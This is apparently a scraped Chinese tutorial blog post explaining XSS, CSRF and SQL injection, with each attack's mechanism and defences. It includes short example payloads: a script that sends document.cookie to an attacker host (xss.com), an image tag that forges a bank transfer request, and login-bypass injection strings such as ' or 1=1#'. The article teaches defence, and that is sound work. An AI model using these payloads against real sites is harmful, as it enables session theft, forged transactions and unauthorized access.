常见的Web安全及其攻防姿式

总结一下Web相关的安全攻防知识,让本身对这个知识点多一点了解,下面来聊聊Web中最多见的几种安全问题,包括攻击类型、原理以及怎样防护等。php

一、XSS漏洞

XSS(Cross Site Scripting)跨站脚本攻击,为了避免和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,往Web页面中插入了恶意的script代码,当用户浏览该页面时,嵌入Web页面中的script代码便会执行,从而达到恶意攻击用户的目的。前端

缘由:过于信任客户端提交的数据。 XSS攻击也能够简单分为两种,一种是利用url引诱客户点击来实现;另外一种是经过存储到数据库,在其它用户获取相关信息时来执行脚本。mysql

 1)非持久型XSS(反射型XSS)

主要经过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击,如盗取用户信息或其余侵犯用户隐私安全等,通常是经过别人发送的带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数会被HTML解析、执行。通常容易出如今搜索页面。sql

过程图以下:数据库

非持久型XSS过程
e.g1:

正常发送消息:
www.test.com/message.php?send=Hello,World!
接收者将会接收信息并显示Hello,Word
非正常发送消息:
www.test.com/message.php?send=!
接收者接收消息显示的时候将会弹出警告窗口
后端

e.g2:浏览器

若是某网站上页面中有一个文本框,输入后做为参数跳转另外一个地址:安全

<input type="text" name='keywords' value="">
复制代码

在页面上输入以下代码:<script>window.location.href='www.xss.com?cookie=' + document.cookie</script>服务器

或者直接让用户访问该网站地址,而keywords参数为"&lt;script&gt;window.location.href='www.xss.com?cookie=' + document.cookie&lt;/script&gt;"cookie

若是受骗的用户恰好已经登陆过该网站,那么,用户的登陆cookie信息就已经发到了攻击者的服务器(xss.com)了。

如何防范:

1)只容许用户输入咱们指望的数据。
2)Web页面渲染的全部内容或者渲染的数据都必须来自于服务端,不要信任用户的输入内容。
3)尽可能不要使用eval, new Function()等可执行字符串的方法。
4)前端渲染的时候对任何的字段都须要作encode转义编码。
5)过滤或移除特殊的Html标签。
6)将重要的cookie标记为http only。

 2)持久型XSS(储存型XSS)

存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie(虽然还有种DOM型XSS,可是也仍是包括在存储型XSS内),不须要诱骗用户点击。

e.g:

留言板表单中的表单域:

<input type=“text” name=“content” value=“这里是用户填写的数据”>
复制代码

正常操做:
用户是提交相应留言信息;将数据存储到数据库;其余用户访问留言板,应用去数据并显示。
非正常操做:
攻击者在value填写<script>alert('foolish!')</script>;
将数据存储到数据库中;
其余用户取出数据显示的时候,将会执行这些攻击性代码。

如何防范:

1)后端在入库前应该选择不相信任何前端数据,将全部的字段统一进行转义处理。
2)后端在输出给前端数据统一进行转义处理。
3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都须要作转义处理。

如何防范:对于一切用户的输入、输出、客户端的输出内容视为不可信,只要是客户端提交的数据就应该先进行相应的过滤处理而后方可进行下一步的操做。

二、CSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。但每每同XSS一同做案!

例如,当用户登陆网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的连接,那么该用户银行账户中的资金就有可能被转移到攻击者指定的账户中。

CSRF攻击必需要有三个条件 :

1)用户已经登陆了站点A,并在本地记录了cookie。
2)在用户没有登出站点A的状况下(也就是cookie生效的状况下),访问了恶意攻击者提供的引诱危险站点B(B站点要求访问站点A)。
3)站点A没有作任何CSRF防护。

过程图以下:

CSRF攻击过程
e.g1:

一论坛网站的发贴是经过 GET 请求访问,点击发贴以后 JS 把发贴内容拼接成目标 URL 并访问: example.com/bbs/create_post.php?title=标题&content=内容

那么,我只须要在论坛中发一帖,包含一连接: example.com/bbs/create_post.php?title=我是脑残&content=哈哈

只要有用户点击了这个连接,那么他们的账户就会在不知情的状况下发布了这一帖子。可能这只是个恶做剧,可是既然发贴的请求能够伪造,那么删帖、转账、改密码、发邮件全均可以伪造。 e.g2:

银行网站A,它以GET请求来完成银行转帐的操做,如:www.mybank.com/Transfer.php?toBankId=11&money=1000 危险网站B,它里面有一段HTML的代码以下

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
复制代码

首先,你登陆了银行网站A,而后访问危险网站B,噢,这时你会发现你的银行帐户少了1000块......

为何会这样呢?缘由是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的以前,你已经登陆了银行网站A,而B中的以GET的方式请求第三方资源(这里的第三方就是指银行网站了,本来这是一个合法的请求,但这里被不法分子利用了),因此你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源www.mybank.com/Transfer.php?toBankId=11&money=1000,结果银行网站服务器收到请求后,认为这是一个更新资源操做(转帐操做),因此就马上进行转帐操做......

为了杜绝上面的问题,银行决定改用POST请求完成转帐操做,若是银行后台使用了$_REQUEST去获取请求的数据,而危险网站B,仍然只是包含那句如出一辙的HTML代码,结果你的银行帐户依然少了1000块。

缘由是银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既能够获取GET请求的数据,也能够获取POST请求的数据,这就形成了在后台处理程序没法区分这究竟是GET请求的数据仍是POST请求的数据。在PHP中,可使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request同样存在不能区分GET请求数据和POST数据的问题。

如何防范: 在业界目前防护CSRF攻击主要有三种策略:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。同时尽可能使用POST,限制GET。下面就分别对这三种策略进行详细介绍:

1)验证HTTP Referer字段

利用HTTP头中的Referer判断请求来源是否合法。
优势:简单易行,只须要在最后给全部安全敏感的请求统一增长一个拦截器来检查 Referer 的值就能够。特别是对于当前现有的系统,不须要改变当前系统的任何已有代码和逻辑,没有风险,很是便捷。
缺点:
(1)Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。
(2)用户本身能够设置浏览器使其在发送请求时再也不提供Referer时,网站将拒绝合法用户的访问。

2)在请求地址中添加token并验证

在请求中放入黑客所不能伪造的信息,而且该信息不存在于cookie之中,以HTTP请求参数的形式加入一个随机产生的token交由服务端验证。
优势:比检查Referer要安全一些,而且不涉及用户隐私。
缺点:对全部请求都添加token比较困难,难以保证token自己的安全,依然会被利用获取到token。

3)在HTTP头中自定义属性并验证+One-Time Tokens

将token放到HTTP头中自定义的属性里。经过XMLHttpRequest的异步请求交由后端校验,而且一次有效。
优势:统一管理token输入输出,能够保证token的安全性。
缺点:有局限性,没法在非异步的请求上实施。

三、SQL注入

经过将外部的输入直接嵌入到须要执行的SQL语句中,从而可能获取数据库中的敏感信息,或者利用数据库的特性执行一些恶意操做,甚至可能会获取数据库乃至系统用户的最高权限。

缘由:程序没有转义过滤用户输入的内容,致使攻击者能够向服务器提交恶意的代码,从而使得程序在执行SQL语句时,将攻击者输入的代码做为SQL语句的一部分执行,致使原逻辑被改变,执行了攻击者的恶意代码。

例如:

$sql = "select * from user where id=".$id;
复制代码

上面的例子是查询某个信息,服务端直接用用户输入的变量$id来拼接SQL语句,而执行该语句,存在安全隐患,若是$id='2 or 1==1',便能轻易的获取user表的任意信息。

e.g1:

好比,咱们要访问某一个帖子的信息,会经过调用相似于https://www.xxx.xx/news/read?pid=50这样的接口来获取信息,这样的话可能就会致使SQL注入,经过上面的地址能够推断出服务端中执行的SQL是:

select * from [表名] where pid=50;
复制代码

若是咱们在参数后面拼接上一些其余的信息做为参数一部分,即可能致使SQL数据发生改变,如添加" and 1=2"后SQL语句将变为:

select * from [表名] where pid=50 and 1=2; // 1=2不成立
复制代码

从而会致使返回出错。

e.g2:

再好比,在一个登录界面中,须要传入用户名和密码进行登陆验证,正常状况下,传给服务端的用户名和密码数据被合成到SQL查询语句中后应该是这样的:

select * from users where username=[用户名] and password=md5([密码])
复制代码

此时,若是用户在用户名中输入" or 1=1#",密码随便输入,即可以登陆。由于此时的SQL语句为:

select * from users where username=" or 1=1#" and password=md5("")
复制代码

而"#"在mysql中是注释符,这样#号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,如下的两句sql语句等价:

select * from users where username='' or 1=1
复制代码

由于1=1永远都是成立的,即where子句老是为真,将该sql进一步简化以后,等价以下select语句:

select * from users
复制代码

致使的最终结果是该sql语句的做用是检索users表中的全部字段,从而可以登陆成功。 如何防范:对用户输入的那些变量进行优化过滤,不要信任用户传入的数据。

小结一下

XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本,而CSRF则是攻击者盗用了你的身份,以你的名义发送恶意请求。 所以,无论是客户端仍是服务端,都不要信任双方传来的数据,最好都进行过滤转义等处理,总之,毫不能够信任任何客户端提交的数据!!!

相关文章
相关标签/搜索